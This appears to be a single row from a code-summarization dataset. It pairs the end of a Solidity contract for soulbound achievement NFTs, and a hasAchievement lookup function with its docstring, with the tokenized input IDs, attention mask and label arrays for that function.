Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(abi.encodePacked("data:application/json;base64,", json));
return output;
}
/**
* @dev Hook that is called before any token transfer. Check if the user has the NFT locked
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721Enumerable) {
// Archievement can be minted but it cannot be transferred to other users, it's soulbound to the person
require(from == address(0), "The Archievement NFT is soul bound to the user");
super._beforeTokenTransfer(from, to, tokenId);
}
}
| * @notice Check if a user has been awarded with an achievement @param user Address of the user @param metadataId Achievement Metadata ID @return true if he already has the achievement/ | function hasAchievement(address user, uint256 metadataId) external view returns (bool) {
return _ownerships[user][metadataId];
}
| 6,436,320 | [
1,
1564,
309,
279,
729,
711,
2118,
279,
11804,
598,
392,
20186,
22627,
225,
729,
5267,
434,
326,
729,
225,
1982,
548,
432,
17384,
22627,
6912,
1599,
327,
638,
309,
3904,
1818,
711,
326,
20186,
22627,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
711,
37,
17384,
22627,
12,
2867,
729,
16,
2254,
5034,
1982,
548,
13,
3903,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
389,
995,
12565,
87,
63,
1355,
6362,
4165,
548,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.